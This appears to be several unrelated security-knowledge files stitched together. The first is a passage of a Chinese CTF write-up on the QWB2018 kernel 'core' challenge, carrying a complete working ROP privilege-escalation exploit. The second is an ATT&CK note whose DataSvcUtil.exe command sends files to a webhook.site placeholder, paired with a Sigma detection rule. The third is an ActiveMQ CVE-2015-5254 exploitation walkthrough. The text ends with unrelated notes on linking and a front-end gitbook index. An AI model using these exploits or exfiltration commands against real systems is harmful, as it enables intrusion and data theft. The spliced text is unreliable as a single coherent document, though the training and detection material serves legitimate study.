438LL, 0LL, &core_fops); printk("\x016core: created /proc/core entry\n"); return 0LL; } ``` **exit_core()** 删除 `/proc/core` ```C __int64 exit_core() { __int64 result; // rax if ( core_proc ) result = remove_proc_entry("core"); return result; } ``` **core_ioctl()** 定义了三条命令,分别调用 **core_read()**,**core_copy_func()** 和设置全局变量 **off** ```C __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk("\x016core: %d\n"); off = a3; break; case 0x6677889A: printk("\x016core: called core_copy\n"); core_copy_func(a3); break; } core_copy_func(v3); } ``` **core_read()** 从 `v4[off]` 拷贝 64 个字节到用户空间,但要注意的是全局变量 `off` 使我们能够控制的,因此可以合理的控制 `off` 来 leak canary 和一些地址 ```C void __fastcall core_read(__int64 a1) { __int64 v1; // rbx char *v2; // rdi signed __int64 i; // rcx char v4[64]; // [rsp+0h] [rbp-50h] unsigned __int64 v5; // [rsp+40h] [rbp-10h] v1 = a1; v5 = __readgsqword(0x28u); printk("\x016core: called core_read\n"); printk("\x016%d %p\n"); v2 = v4; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(v4, "Welcome to the QWB CTF challenge.\n"); if ( copy_to_user(v1, &v4[off], 64LL) ) __asm { swapgs } } ``` **core_copy_func()** 从全局变量 `name` 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 `unsigned __int16`,但传递的长度是 `signed __int64`,因此如果控制传入的长度为 `0xffffffffffff0000|(0x100)` 等值,就可以栈溢出了 ```C void __fastcall core_copy_func(signed __int64 a1) { char v1[64]; // [rsp+0h] [rbp-50h] unsigned __int64 v2; // [rsp+40h] [rbp-10h] v2 = __readgsqword(0x28u); printk("\x016core: called core_writen"); if ( a1 > 63 ) printk("\x016Detect Overflow"); else qmemcpy(v1, name, (unsigned __int16)a1); // overflow } ``` **core_write()** 向全局变量 `name` 上写,这样通过 `core_write()` 和 `core_copy_func()` 就可以控制 ropchain 了 ```C signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; // rbx v3 = a3; printk("\x016core: called core_writen"); if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) return (unsigned int)v3; printk("\x016core: error copying data from userspacen"); return 0xFFFFFFF2LL; } ``` ### 思路 经过如上的分析,可以得出以下的思路: 1. 通过 ioctl 设置 off,然后通过 core\_read() leak 出 canary 2. 通过 core\_write() 向 name 写,构造 ropchain 3. 通过 core\_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop 4. 通过 rop 执行 `commit_creds(prepare_kernel_cred(0))` 5. 返回用户态,通过 system("/bin/sh") 等起 shell 解释一下: - 如何获得 commit\_creds(),prepare\_kernel\_cred() 的地址? - /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址 - 如何返回用户态? - `swapgs; iretq`,之前说过需要设置 `cs, rflags` 等信息,可以写一个函数保存这些信息 ```C // intel flavor assembly size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } // at&t flavor assembly void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } ``` - Why bother returning to Userspace? - Most useful things we want to do are much easier from userland. - In KernelSpace, there’s no easy way to: - Modify the filesystem - Create a new process - Create network connections ### Exploit 先说一下怎么调试,qemu 内置有 gdb 的接口,通过 help 查看 ```bash give_to_player [master●●] qemu-system-x86_64 --help | grep gdb -gdb dev wait for gdb connection on 'dev' -s shorthand for -gdb tcp::1234 ``` 即可以通过 `-gdb tcp:port` 或者 `-s` 来开启调试端口,`start.sh` 中已经有了 `-s`,不必再自己设置。 另外通过 `gdb ./vmlinux` 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 `core.ko` 的符号表,可以通过 `add-symbol-file core.ko textaddr` 加载 ```bash pwndbg> help add-symbol-file Load symbols from FILE, assuming FILE has been dynamically loaded. Usage: add-symbol-file FILE ADDR [-s <SECT> <SECT_ADDR> -s <SECT> <SECT_ADDR> ...] ADDR is the starting address of the file's text. The optional arguments are section-name section-address pairs and should be specified if the data and bss segments are not contiguous with the text. SECT is a section name to be loaded at SECT_ADDR. ``` .text 段的地址可以通过 `/sys/modules/core/section/.text` 来查看,查看需要 root 权限,因此为了方便调试,我们再改一下 `init` ```bash # setsid /bin/cttyhack setuidgid 1000 /bin/sh setsid /bin/cttyhack setuidgid 0 /bin/sh ``` 重新打包,这样启动的时候就是 root 权限了。 比如: ```bash // qemu 内 / # cat /sys/module/core/sections/.text 0xffffffffc018b000 ...... ...... // qemu 外 give_to_player [master●●] gdb ./vmlinux -q pwndbg: loaded 174 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./vmlinux...(no debugging symbols found)...done. pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000 add symbol table from file "./core.ko" at .text_addr = 0xffffffffc018b000 Reading symbols from ./core.ko...(no debugging symbols found)...done. pwndbg> b core_read # 加载了符号表,就可以直接对函数下断点了 Breakpoint 1 at 0xffffffffc018b063 pwndbg> b *(0xffffffffc018b000+0xCC)# 或者根据基地址直接下断点 Breakpoint 2 at 0xffffffffc018b0cc pwndbg> target remote localhost:1234 Remote debugging using localhost:1234 ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! 0xffffffffa1e6e7d2 in ?? () ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0xffffffffa1e6e7d0 ◂— sti /* 0x2e66001f0fc3f4fb */ RBX 0xffffffffa2810480 ◂— 0x80000000 RCX 0x0 RDX 0x0 RDI 0x0 RSI 0x0 R8 0xffff8f250641bf20 —▸ 0xffffb0f380647960 ◂— 1 R9 0x0 R10 0x0 R11 0x32e R12 0xffffffffa2810480 ◂— 0x80000000 R13 0xffffffffa2810480 ◂— 0x80000000 R14 0x0 R15 0x0 RBP 0x0 RSP 0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb RIP 0xffffffffa1e6e7d2 ◂— ret /* 0x1f0f2e66001f0fc3 */ ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── ► 0xffffffffa1e6e7d2 ret <0xffffffffa16b65a0> ↓ 0xffffffffa16b65a0 jmp 0xffffffffa16b6541 ↓ 0xffffffffa16b6541 or byte ptr ds:[r12 + 2], 0x20 0xffffffffa16b6548 pushfq 0xffffffffa16b6549 pop rax 0xffffffffa16b654a test ah, 2 0xffffffffa16b654d je 0xffffffffa16b65e5 0xffffffffa16b6553 call 0xffffffffa16d4720 0xffffffffa16b6558 call 0xffffffffa16b6430 0xffffffffa16b655d mov rax, qword ptr [rbx] 0xffffffffa16b6560 test al, 8 ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb 01:0008│ 0xffffffffa2803ec0 ◂— 0xc2 02:0010│ 0xffffffffa2803ec8 —▸ 0xffffffffa2cc4900 ◂— 0xcccccccccccccccc 03:0018│ 0xffffffffa2803ed0 —▸ 0xffff8f2506688900 ◂— jb 0xffff8f2506688971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */ 04:0020│ 0xffffffffa2803ed8 —▸ 0xffffffffa2ccc2c0 ◂— 0xcccccccccccccccc 05:0028│ 0xffffffffa2803ee0 ◂— 0x0 ... ↓ 07:0038│ 0xffffffffa2803ef0 —▸ 0xffffffffa16b673a ◂— jmp 0xffffffffa16b6735 /* 0x564190909090f9eb */ pwndbg> c Continuing. ...... ...... // qemu 内 / # /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffa169c8e0 vmlinux_base addr: 0xffffffffa1600000 prepare_kernel_cred addr: 0xffffffffa169cce0 [*]set off to 64 [*]read to buf. ...... ...... // qemu 外 pwndbg> c Continuing. ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! ERROR: Could not find ELF base! Breakpoint 1, 0xffffffffc018b063 in core_read () ERROR: Could not find ELF base! ERROR: Could not find ELF base! LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0xffffffffc018b15f (core_ioctl) ◂— cmp esi, 0x6677889b /* 0x48536677889bfe81 */ RBX 0x7ffee6e56f10 ◂— 0 RCX 0x0 RDX 0x7ffee6e56f10 ◂— 0 RDI 0x7ffee6e56f10 ◂— 0 RSI 0x6677889b R8 0xffff8f25071b38ac ◂— 1 R9 0x1 R10 0x0 R11 0x0 R12 0xffff8f250540b7a0 ◂— mov dh, 0x81 /* 0x581b6 */ R13 0x6677889b R14 0x7ffee6e56f10 ◂— 0 R15 0x0 RBP 0x7ffee6e56f10 ◂— 0 RSP 0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb RIP 0xffffffffc018b063 (core_read) ◂— push rbx /* 0x7bc7c748fb894853 */ ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── ► 0xffffffffc018b063 <core_read> push rbx 0xffffffffc018b064 <core_read+1> mov rbx, rdi 0xffffffffc018b067 <core_read+4> mov rdi, -0x3fe73f85 0xffffffffc018b06e <core_read+11> sub rsp, 0x48 0xffffffffc018b072 <core_read+15> mov rax, qword ptr gs:[0x28] 0xffffffffc018b07b <core_read+24> mov qword ptr [rsp + 0x40], rax 0xffffffffc018b080 <core_read+29> xor eax, eax 0xffffffffc018b082 <core_read+31> call 0xffffffffa16c6845 0xffffffffc018b087 <core_read+36> mov rsi, qword ptr [rip + 0x2b72] 0xffffffffc018b08e <core_read+43> mov rdx, rbx 0xffffffffc018b091 <core_read+46> mov rdi, -0x3fe73f6b ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb 01:0008│ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 02:0010│ 0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948 03:0018│ 0xffffb0f3800dbe80 ◂— 0x889b 04:0020│ 0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0 05:0028│ 0xffffb0f3800dbe90 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d 06:0030│ 0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 07:0038│ 0xffffb0f3800dbea0 ◂— 0x10 Breakpoint core_read pwndbg> ``` 最终 exp ```C QWB2018_core [master●●] cat exploit.c // gcc exploit.c -static -masm=intel -g -o exploit #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000; /* * give_to_player [master●●] check ./core.ko ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) */ size_t vmlinux_base = 0; size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */ if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf, "commit_creds") && !commit_creds) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); /* printf("hex: %s\n", hex); */ sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); /* * give_to_player [master●●] bpython bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n >>> from pwn import * >>> vmlinux = ELF("./vmlinux") [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000) '0x9c8e0' */ vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); } if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; /* printf("vmlinux_base addr: %p\n", vmlinux_base); */ } } if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); } void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf); } void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); } int main() { save_status(); int fd = open("/proc/core", 2); if(fd < 0) { puts("[*]open /proc/core error!"); exit(0); } find_symbols(); // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base; ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40); char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary); size_t rop[0x1000] = {0}; int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100)); return 0; } ``` ### get root shell ```bash QWB2018_core [master●●] gcc exploit.c -static -masm=intel -g -o exploit // 如果使用 intel 汇编需要加上 -masm=intel QWB2018_core [master●●] cp exploit give_to_player/core/tmp cp:是否覆盖'give_to_player/core/tmp/exploit'? y QWB2018_core [master●●] cd give_to_player/core core [master●●] ./gen_cpio.sh core.cpio . ./usr ./usr/sbin ...... ...... core [master●●] mv core.cpio .. mv:是否覆盖'../core.cpio'? y core [master●●] cd .. give_to_player [master●●] ./start.sh / $ ls /tmp/ exploit kallsyms / $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffbd09c8e0 vmlinux_base addr: 0xffffffffbd000000 prepare_kernel_cred addr: 0xffffffffbd09cce0 [*]set off to 64 [*]read to buf. [+]canary: 0x6be486f377bb8600 [*]copy from user with size: -65280 / # id uid=0(root) gid=0(root) ``` 当然这个题目也有其他做法,下篇再分析。 ## Reference and Thanks to https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic https://blog.csdn.net/gatieme/article/details/78311841 https://bbs.pediy.com/thread-247054.htm https://veritas501.space/2018/06/05/qwb2018%20core/ http://p4nda.top/2018/07/13/ciscn2018-core/
sec-knowleage
# T1567-win-通过Web服务进行渗透-DataSvcUtil.exe(白名单) ## 来自ATT&CK的描述 攻击者可能使用现有的合法外部Web服务而不是他们的主要命令和控制通道来窃取数据。 由于网络中的主机可能在受到攻击之前已经与它们进行通信,因此流行Web服务可能充当渗漏机制的提供大量掩护。 防火墙规则也可能已经存在以允许这些服务的流量。 Web 服务提供商通常也使用 SSL/TLS 加密,为攻击者提供更高级别的保护。 ## 测试案例 DataSvcUtil.exe是WCF数据服务提供的命令行工具,它使用开放数据协议(OData)源,并生成从.NET Framework客户端应用程序访问数据服务所需的客户端数据服务类。 路径: ``` - C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe ``` 一般上传文件、凭据或数据泄露: ``` DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile ``` 用例:上传文件 所需权限:用户 操作系统:Windows 10 ## 检测日志 windows安全日志 ## 测试复现 ``` C:\Windows\Microsoft.NET\Framework64\v3.5>DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://www.baidu.com/ Microsoft (R) DataSvcUtil 版本 3.5.0.0 版权所有 (C) 2008 Microsoft Corporation。保留所有权利。 正在写入对象层文件... 错误 7001: 远程服务器返回错误: (404) 未找到。 生成已完成 -- 1 个错误,0 个警告 ``` ## 日志留痕 ``` 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x2260 新进程名称: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x24b4 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: DataSvcUtil  /out:C:\\Windows\\System32\\calc.exe /uri:https://www.baidu.com/ ``` ## 检测规则/思路 参考Sigma官方规则: ```yml title: LOLBAS Data Exfiltration by DataSvcUtil.exe id: e290b10b-1023-4452-a4a9-eb31a9013b3a status: experimental author: Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger date: 2021/09/30 description: Detects when a user performs data exfiltration by using DataSvcUtil.exe references: - https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6 - https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe - https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services - https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services tags: - attack.exfiltration - attack.t1567 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - '/in:' - '/out:' Image|endswith: - '\DataSvcUtil.exe' condition: selection fields: - ComputerName - User - CommandLine - ParentCommandLine ``` ## 参考推荐 MITRE-ATT&CK-T1567 <https://attack.mitre.org/techniques/T1567> DataSvcUtil.exe <https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/>
sec-knowleage
# ActiveMQ Deserialization Vulnerability (CVE-2015-5254) [中文版本(Chinese version)](README.zh-cn.md) Apache ActiveMQ is an open source messaging middleware developed by the American Pachitea (Apache) Software Foundation that supports Java messaging services, clustering, Spring framework, and more. Apache ActiveMQ version 5.x before the 5.13.0 security vulnerability, the vulnerability caused by the program does not limit the classes that can be serialized in the proxy. Remote attacker can make a special serialized Java Message Service (JMS) ObjectMessage objects exploit this vulnerability to execute arbitrary code. Reference Links: - https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf ## Vulnerability environment Start the vulnerable environment: ``` docker compose up -d ``` After running the environment, it will establish two ports on port 61616 and 8161. Port 61616 is the working port, and messages are delivered on this port. Port 8161 is the webpage management page port. Access `http://your-ip:8161`, You can see the network management page, but this vulnerability does not require a network theoretically. ## Exploit The exploit process is as follows: 1. Generate serialized payload (u can using ysoserial) 2. send payload to port 61616 3. Access the web management page and read the serialization messages, then u can trigger vulnerability. To exploit this environment we will use [jmet](https://github.com/matthiaskaiser/jmet) (Java Message Exploitation Tool). First download the jar file of jmet, and create folder called **external** in the same directory (otherwise it may occur the error that the folder does not exist). the jmet is to use ysoserial to generate Payload and send it (the jar comes with ysoserial, we don't no need to download it again), so we need to choose one that can be used in ysoserial as the gadget, such as ROME. Execute: ``` java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616 ``` ![](1.png) At this point, a queue named event will be added to the target ActiveMQ. You can visit `http://your-ip:8161/admin/browse.jsp?JMSDestination=Event` to see all messages in this queue. (**login / password:** admin/admin): ![](2.png) Click this message to trigger the command execute, this time into the container `docker compose exec activemq bash`, we can see /tmp/success has been successfully created, indicating exploit successful: ![](3.png) Replace the command with a reverse shell statement and reuse it: ![](4.png) It's worth noting that accessing messages through the web administration page and triggering the vulnerability requires administrator privileges. In the absence of password, we can induce administrator visit our link to trigger, or disguised as legitimate messages from other services need to wait for client access when triggered.
sec-knowleage
# 计算机操作系统 - 链接 <!-- GFM-TOC --> * [计算机操作系统 - 链接](#计算机操作系统---链接) * [编译系统](#编译系统) * [静态链接](#静态链接) * [目标文件](#目标文件) * [动态链接](#动态链接) <!-- GFM-TOC --> ## 编译系统 以下是一个 hello.c 程序: ```c #include <stdio.h> int main() { printf("hello, world\n"); return 0; } ``` 在 Unix 系统上,由编译器把源文件转换为目标文件。 ```bash gcc -o hello hello.c ``` 这个过程大致如下: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg" width="800"/> </div><br> - 预处理阶段:处理以 # 开头的预处理命令; - 编译阶段:翻译成汇编文件; - 汇编阶段:将汇编文件翻译成可重定位目标文件; - 链接阶段:将可重定位目标文件和 printf.o 等单独预编译好的目标文件进行合并,得到最终的可执行目标文件。 ## 静态链接 静态链接器以一组可重定位目标文件为输入,生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务: - 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用与一个符号定义关联起来。 - 重定位:链接器通过把每个符号定义与一个内存位置关联起来,然后修改所有对这些符号的引用,使得它们指向这个内存位置。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br> ## 目标文件 - 可执行目标文件:可以直接在内存中执行; - 可重定位目标文件:可与其它可重定位目标文件在链接阶段合并,创建一个可执行目标文件; - 共享目标文件:这是一种特殊的可重定位目标文件,可以在运行时被动态加载进内存并链接; ## 动态链接 静态库有以下两个问题: - 当静态库更新时那么整个程序都要重新进行链接; - 对于 printf 这种标准函数库,如果每个程序都要有代码,这会极大浪费资源。 共享库是为了解决静态库的这两个问题而设计的,在 Linux 系统中通常用 .so 后缀来表示,Windows 系统上它们被称为 DLL。它具有以下特点: - 在给定的文件系统中一个库只有一个文件,所有引用该库的可执行目标文件都共享这个文件,它不会被复制到引用它的可执行文件中; - 在内存中,一个共享库的 .text 节(已编译程序的机器代码)的一个副本可以被不同的正在运行的进程共享。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg"/> </div><br>
sec-knowleage
# Summary * [前端大宝书](./README.md) * HTML - [第一小节:Hello HTML](./git/HTML+CSS/1-hello-html.md) - [第二小节:HTML 头部](./git/HTML+CSS/2-html-head.md) - [第三小节:元素与属性](./git/HTML+CSS/3-element.md) - [第四小节:常用的元素](./git/HTML+CSS/4-elements.md) * 第一章 Linux基础 - [第一小节:Linux 命令行](./git/Linux/1-linux.md) - [第二小节:文件系统结构](./git/Linux/2-file-sys.md) - [第三小节:文件操作](./git/Linux/3-file-man.md) - [第四小节:Atom 编辑器](./git/Linux/4-atom.md) - [第五小节:Sublime 编辑器](./git/Linux/5-sublime.md) - [第六小节:学习 Gitbook](./git/Linux/6-gitbook.md) - [第七小节:Markdown 语法](./git/Linux/7-markdown.md) - [第八小节:快速配置开发环境](./git/Linux/8-linux-react.md) - [第九小节:Linux 状态行界面](./git/Linux/9-linux-shell.md) - [第十小节:Shell Scripts](./git/Linux/10-hello-shell.md) * 第二章 Git基础 - [第一小节:Github](./git/Git/1-github.md) - [第二小节:Hello Git](./git/Git/2-hello-git.md) - [第三小节:Git的安装](./git/Git/3-install-git.md) - [第四小节:Git本地工作流](./git/Git/4-local-git.md) - [第五小节:代码上传到Github](./git/Git/5-push.md) - [第六小节:Github分支操作](./git/Git/6-branch.md) - [第七小节:部署静态网页](./git/Git/7-gh-pages.md) * 第三章 ES6语法基础 - [第一小节:Hello ES6](./git/ES6/1-hello-es6.md) - [第二小节:Let](./git/ES6/2-let.md) - [第三小节:Const](./git/ES6/3-const.md) - [第四小节:变量的解构赋值](./git/ES6/4-Destructuring.md) - [第五小节:箭头函数](./git/ES6/5-function.md) - [第六小节:字符串的扩展](./git/ES6/6-string.md) - [第七小节:Class的基本语法与继承](./git/ES6/7-class.md) - [第八小节:模块的基本语法](./git/ES6/8-Module.md) * 第四章 React - [第一小节:React环境快速配置](./git/React/1-react-setup.md) - [第二小节:React环境配置](./git/React/2-create-react-app.md) - [第三小节:npm语句](./git/React/3-npm.md) - [第四小节:Webpack配置](./git/React/4-webpack.md) - [第五小节:Hello React](./git/React/5-hello-react.md) - [第六小节:JSX语法](./git/React/6-JSX.md) - [第七小节:组件的Render方法](./git/React/7-render.md) - [第八小节:组件的组合、嵌套和组件树](./git/React/8-component.md) - [第九小节:事件监听](./git/React/9-onclick.md) - [第十小节:组件的State和setState](./git/React/10-state.md) - [第十一小节:小案例(购物车)](./git/React/11-shop.md) - [第十二小节:组件的props](./git/React/12-props.md) - [第十三小节:数据类型的检测](./git/React/13-prop-types.md) - [第十四小节:小案例(Card)](./git/React/14-Card.md) - [第十五小节:React中获取DOM节点](./git/React/15-dom.md) - [第十六小节:生命周期函数](./git/React/16-lifecycle.md) - [第十七小节:Context](./git/React/17-Context.md) - [第十八小节:Form表单](./git/React/18-form.md) * 第五章 React-Router - [第一小节:Hello React-Router](./git/Router/1-hello-router.md) - [第二小节:Router](./git/Router/2-Router.md) - [第三小节:Link](./git/Router/3-link.md) * 第六章 React-Redux - [第一小节:Redux简介](./git/Redux/1-brief-redux.md) - [第二小节:Redux安装](./git/Redux/2-install-redux.md) - [第三小节:温习React](./git/Redux/3-props.md) - [第四小节:Store](./git/Redux/4-store.md) - [第五小节:createStore](./git/Redux/5-createStore.md) - [第六小节:Reducer](./git/Redux/6-Reducer.md) - [第七小节:Action](./git/Redux/7-action.md) - [第八小节:connect](./git/Redux/8-connect.md) - [第九小节:项目实例:小博客](./git/Redux/9-Hello-redux.md) - [第十小节:Thunk](./git/Redux/10-thunk.md) * 第七章 React-Router-Redux 小功能 - [选择上传](./git/React-Router-Redux/1-file-upload.md) * VUE - [第一小节:VUE简介](./git/Vue/1-brief-vue.md) - [第二小节:VUE安装](./git/Vue/2-install-vue.md) - [第三小节:Hello VUE](./git/Vue/3-hello-vue.md) - [第四小节:构造器](./git/Vue/4-constructor.md) - [第五小节:Data](./git/Vue/5-data.md) - [第六小节:Props](./git/Vue/6-props.md) - [第七小节:模板语法](./git/Vue/7-interpolations.md) - [第八小节:伪造API](./git/Nodejs/api.md) - [第九小节:Router](./git/Vue/9-vue-router.md) - [第十小节:Vuex](./git/Vue/10-vuex.md) - [十一小节:小博客](./git/Vue/blog-vuex-demo.md) * 后端工作 - [工作流程](./git/Nodejs/1-web.md) - [Express](./git/Nodejs/Express.md) - [MongoDB](./git/Nodejs/MongoDB.md) * FLEX - [flex 布局](./git/Other/flex.md) * JSON - [Json基础](./git/Other/json.md) * AJAX - [Ajax基础](./git/Other/ajax.md) * H5 - [localStorage](./git/Other/localStorage.md) - [FileReader](./git/Other/FileReader.md) * UI - [BootStrap](./git/Other/BootStrap.md) - [Ant Design](./git/Other/Ant-Design.md) - [Material-UI](./git/Other/Material-UI.md) * 数据可视化 - [Echarts](./git/Other/echarts.md) - [Recharts](./git/React-Plugin/recharts.md) * React 插件 - [图表:Recharts](./git/React-Plugin/recharts.md) - 